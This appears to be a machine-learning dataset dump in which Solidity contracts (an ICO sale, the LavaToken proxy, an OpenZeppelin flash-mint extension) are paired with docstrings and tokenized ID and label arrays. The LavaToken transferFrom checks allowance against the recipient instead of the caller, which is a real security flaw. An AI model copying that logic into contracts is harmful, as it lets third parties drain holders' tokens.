event MintICO(address from, address to, uint256 val);
function CreateICO(address to, uint256 val) internal returns (bool success) {
MintICO(0x0, to, val);
return ico.sell(to, val);
}
function IcoContract(
address _ethFundDeposit,
address _icoAddress,
uint256 _fundingStartTime,
uint256 _tokenExchangeRate,
uint256 _tokenCreationCap,
uint256 _minContribution
)
{
ethFundDeposit = _ethFundDeposit;
icoAddress = _icoAddress;
fundingStartTime = _fundingStartTime;
tokenExchangeRate = _tokenExchangeRate;
tokenCreationCap = _tokenCreationCap;
minContribution = _minContribution;
ico = IcoToken(icoAddress);
isFinalized = false;
}
function () payable {
createTokens(msg.sender, msg.value);
}
/// @dev Accepts ether and creates new ICO tokens.
function createTokens(address _beneficiary, uint256 _value) internal whenNotPaused {
require (tokenCreationCap > totalSupply);
require (now >= fundingStartTime);
require (_value >= minContribution);
require (!isFinalized);
uint256 tokens = safeMult(_value, tokenExchangeRate);
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) {
uint256 tokensToAllocate = safeSubtract(tokenCreationCap, totalSupply);
uint256 tokensToRefund = safeSubtract(tokens, tokensToAllocate);
totalSupply = tokenCreationCap;
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
require(CreateICO(_beneficiary, tokensToAllocate));
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(this.balance);
return;
}
totalSupply = checkedSupply;
require(CreateICO(_beneficiary, tokens));
ethFundDeposit.transfer(this.balance);
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
require (!isFinalized);
// move to operational
isFinalized = true;
ethFundDeposit.transfer(this.balance);
}
} | @dev Ends the funding period and sends the ETH home move to operational | function finalize() external onlyOwner {
require (!isFinalized);
isFinalized = true;
ethFundDeposit.transfer(this.balance);
}
| 1,978,207 | [
1,
24980,
326,
22058,
3879,
471,
9573,
326,
512,
2455,
6382,
3635,
358,
1674,
287,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
12409,
1435,
3903,
1338,
5541,
288,
203,
565,
2583,
16051,
291,
7951,
1235,
1769,
203,
565,
29200,
1235,
273,
638,
31,
203,
565,
13750,
42,
1074,
758,
1724,
18,
13866,
12,
2211,
18,
12296,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xD182b697f776CfA4bB93BEbC1B93898fC766AbaE/sources/contracts/globals.sol | COMPANY WALLET ROLE USED AS ADDITIONAL LAYER OFF PROTECTION initiats upgrades, founder wallet changes
| bytes32 ADMIN_ROLE; | 8,481,071 | [
1,
10057,
15409,
30293,
15146,
22005,
14988,
40,
5355,
11689,
30525,
25239,
654,
17511,
4629,
1448,
3106,
1208,
77,
2323,
28844,
16,
284,
465,
765,
9230,
3478,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1731,
1578,
25969,
67,
16256,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
/**------------------------------------
LAVA Token (0xBTC Token Proxy with Lava Enabled)
0xBTC proxy token contract. ApproveAndCall() 0xBTC to this contract to receive LAVA tokens. Alternatively, Approve() 0xBTC to this contract and then call the mutateTokens() method. Do not directly transfer 0xBTC to this contract using Transfer() or TransferFrom().
LAVA tokens can be spent not just by your account, but by any account as long as they have a lava packet signature, signed by your private key, which validates that specific transaction.
A relayer reward can be specified in a signed packet. This means that LAVA can be sent by paying an incentive fee of LAVA to relayers for the gas, not ETH.
LAVA is 1:1 pegged to 0xBTC.
This contract implements EIP712 for Signing Typed Data:
https://github.com/MetaMask/eth-sig-util
------------------------------------*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract RelayAuthorityInterface {
function getRelayAuthority() public returns (address);
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract LavaToken is ECRecovery{
using SafeMath for uint;
address constant public masterToken = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
string public name = "Lava";
string public symbol = "LAVA";
uint8 public decimals = 8;
uint private _totalSupply;
event Approval(address indexed src, address indexed ext, uint amt);
event Transfer(address indexed src, address indexed dst, uint amt);
event Deposit(address indexed dst, uint amt);
event Withdrawal(address indexed src, uint amt);
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public allowance;
mapping (bytes32 => uint256) public burnedSignatures;
struct LavaPacket {
string methodName; //approve, transfer, or a custom data byte32 for ApproveAndCall()
address relayAuthority; //either a contract or an account
address from; //the packet origin and signer
address to; //the recipient of tokens
address wallet; //this contract address
uint256 tokens; //the amount of tokens to give to the recipient
uint256 relayerRewardTokens; //the amount of tokens to give to msg.sender
uint256 expires; //the eth block number this packet expires at
uint256 nonce; //a random number to ensure that packet hashes are always unique (optional)
}
bytes32 constant LAVAPACKET_TYPEHASH = keccak256(
"LavaPacket(string methodName,address relayAuthority,address from,address to,address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce)"
);
function getLavaPacketTypehash() public pure returns (bytes32) {
return LAVAPACKET_TYPEHASH;
}
function getLavaPacketHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
return keccak256(abi.encode(
LAVAPACKET_TYPEHASH,
keccak256(bytes(methodName)),
relayAuthority,
from,
to,
wallet,
tokens,
relayerRewardTokens,
expires,
nonce
));
}
constructor() public {
}
/**
* Do not allow ETH to enter
*/
function() external payable
{
revert();
}
/**
* @dev Deposit original tokens, receive proxy tokens 1:1
* This method requires token approval.
*
* @param amount of tokens to deposit
*/
function mutateTokens(address from, uint amount) public returns (bool)
{
require( amount >= 0 );
require( ERC20Interface( masterToken ).transferFrom( from, address(this), amount) );
balances[from] = balances[from].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), from, amount);
return true;
}
/**
* @dev Withdraw original tokens, burn proxy tokens 1:1
*
*
*
* @param amount of tokens to withdraw
*/
function unmutateTokens( uint amount) public returns (bool)
{
address from = msg.sender;
require( amount >= 0 );
balances[from] = balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(0), amount);
require( ERC20Interface( masterToken ).transfer( from, amount) );
return true;
}
//standard ERC20 method
function totalSupply() public view returns (uint) {
return _totalSupply;
}
//standard ERC20 method
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
//standard ERC20 method
function getAllowance(address owner, address spender) public view returns (uint)
{
return allowance[owner][spender];
}
//standard ERC20 method
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
//standard ERC20 method
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
//standard ERC20 method
function transferFrom( address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowance[from][to] = allowance[from][to].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
//internal method for transferring tokens to the relayer reward as incentive for submitting the packet
function _giveRelayerReward( address from, address to, uint tokens) internal returns (bool success){
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
/*
Read-only method that returns the EIP712 message structure to be signed for a lava packet.
*/
function getLavaTypedDataHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
// Note: we need to use `encodePacked` here instead of `encode`.
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
// DOMAIN_SEPARATOR,
getLavaPacketHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce)
));
return digest;
}
/*
The internal method for processing the internal data structure of an offchain lava packet with signature.
*/
function _tokenApprovalWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes32 sigHash, bytes memory signature) internal returns (bool success)
{
/*
Always allow relaying a packet if the specified relayAuthority is 0.
If the authority address is not a contract, allow it to relay
If the authority address is a contract, allow its defined 'getAuthority()' delegate to relay
*/
require( relayAuthority == address(0x0)
|| (!addressContainsContract(relayAuthority) && msg.sender == relayAuthority)
|| (addressContainsContract(relayAuthority) && msg.sender == RelayAuthorityInterface(relayAuthority).getRelayAuthority()) );
address recoveredSignatureSigner = recover(sigHash,signature);
//make sure the signer is the depositor of the tokens
require(from == recoveredSignatureSigner);
//make sure this is the correct 'wallet' for this packet
require(address(this) == wallet);
//make sure the signature has not expired
require(block.number < expires);
uint previousBurnedSignatureValue = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1; //spent
require(previousBurnedSignatureValue == 0x0);
//relayer reward tokens, has nothing to do with allowance
require(_giveRelayerReward(from, msg.sender, relayerRewardTokens));
//approve transfer of tokens
allowance[from][to] = tokens;
emit Approval(from, to, tokens);
return true;
}
function approveTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('approve',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
return true;
}
function transferTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('transfer',bytes(methodName)));
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
//it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though
require(transferFrom( from, to, tokens));
return true;
}
/*
Approve LAVA tokens for a smart contract and call the contracts receiveApproval method in a single packet transaction.
Uses the methodName as the 'bytes' for the fallback function to the remote contract
*/
function approveAndCallWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature ) public returns (bool success) {
require(!bytesEqual('approve',bytes(methodName)) && !bytesEqual('transfer',bytes(methodName)));
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
_sendApproveAndCall(from,to,tokens,bytes(methodName));
return true;
}
function _sendApproveAndCall(address from, address to, uint tokens, bytes memory methodName) internal
{
ApproveAndCallFallBack(to).receiveApproval(from, tokens, address(this), bytes(methodName));
}
/*
Burn the signature of an off-chain transaction packet so that it cannot be used on-chain.
Only the creator of the packet can call this method as msg.sender.
*/
function burnSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
address recoveredSignatureSigner = recover(sigHash,signature);
//make sure the invalidator is the signer
require(recoveredSignatureSigner == from);
//only the original packet owner can burn signature, not a relay
require(from == msg.sender);
//make sure this signature has never been used
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2; //invalidated
require(burnedSignature == 0x0);
return true;
}
/*
Check the burn status of the SHA3 hash of a packet signature.
Signatures are burned whenever they are used for a transaction or whenever the burnSignature() method is called.
*/
function signatureHashBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
/*
Receive approval from ApproveAndCall() to mutate tokens.
This method allows 0xBTC to be mutated into LAVA using a single method call.
*/
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public returns (bool success) {
require(token == masterToken);
require(mutateTokens(from, tokens));
return true;
}
function addressContainsContract(address _to) view internal returns (bool)
{
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
return (codeLength>0);
}
function bytesEqual(bytes memory b1,bytes memory b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
} | standard ERC20 method | function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
| 1,830,911 | [
1,
10005,
4232,
39,
3462,
707,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
377,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
1476,
1135,
261,
11890,
11013,
13,
288,
203,
3639,
327,
324,
26488,
63,
2316,
5541,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/9001/0x8773017C81C2Ee39dF8A893AC7ce0E433B1d338D/sources/_openzeppelin/contracts_4.6.0/token/ERC20/extensions/ERC20FlashMint.sol | * @dev Implementation of the ERC3156 Flash loans extension, as defined in Adds the {flashLoan} method, which provides flash loan support at the token level. By default there is no fee, but this can be changed by overriding {flashFee}. _Available since v4.1._/ | abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
function maxFlashLoan(address token) public view virtual override returns (uint256) {
return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
}
function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
require(token == address(this), "ERC20FlashMint: wrong token");
amount;
return 0;
}
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) public virtual override returns (bool) {
require(amount <= maxFlashLoan(token), "ERC20FlashMint: amount exceeds maxFlashLoan");
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"ERC20FlashMint: invalid return value"
);
_spendAllowance(address(receiver), address(this), amount + fee);
_burn(address(receiver), amount + fee);
return true;
}
}
| 11,533,991 | [
1,
13621,
434,
326,
4232,
39,
23,
28946,
15014,
437,
634,
2710,
16,
487,
2553,
316,
15605,
326,
288,
13440,
1504,
304,
97,
707,
16,
1492,
8121,
9563,
28183,
2865,
622,
326,
1147,
1801,
18,
2525,
805,
1915,
353,
1158,
14036,
16,
1496,
333,
848,
506,
3550,
635,
19488,
288,
13440,
14667,
5496,
389,
5268,
3241,
331,
24,
18,
21,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
17801,
6835,
4232,
39,
3462,
11353,
49,
474,
353,
4232,
39,
3462,
16,
467,
654,
39,
23,
28946,
11353,
48,
2345,
288,
203,
565,
1731,
1578,
3238,
5381,
389,
14033,
67,
4051,
273,
417,
24410,
581,
5034,
2932,
654,
39,
23,
28946,
11353,
38,
15318,
264,
18,
265,
11353,
1504,
304,
8863,
203,
203,
203,
565,
445,
943,
11353,
1504,
304,
12,
2867,
1147,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
1147,
422,
1758,
12,
2211,
13,
692,
618,
12,
11890,
5034,
2934,
1896,
300,
4232,
39,
3462,
18,
4963,
3088,
1283,
1435,
294,
374,
31,
203,
565,
289,
203,
203,
565,
445,
9563,
14667,
12,
2867,
1147,
16,
2254,
5034,
3844,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
2316,
422,
1758,
12,
2211,
3631,
315,
654,
39,
3462,
11353,
49,
474,
30,
7194,
1147,
8863,
203,
3639,
3844,
31,
203,
3639,
327,
374,
31,
203,
565,
289,
203,
203,
565,
